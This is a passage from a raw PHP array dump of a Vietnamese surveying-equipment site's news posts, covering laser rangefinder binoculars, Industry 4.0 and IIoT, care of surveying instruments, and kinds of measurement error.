nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; 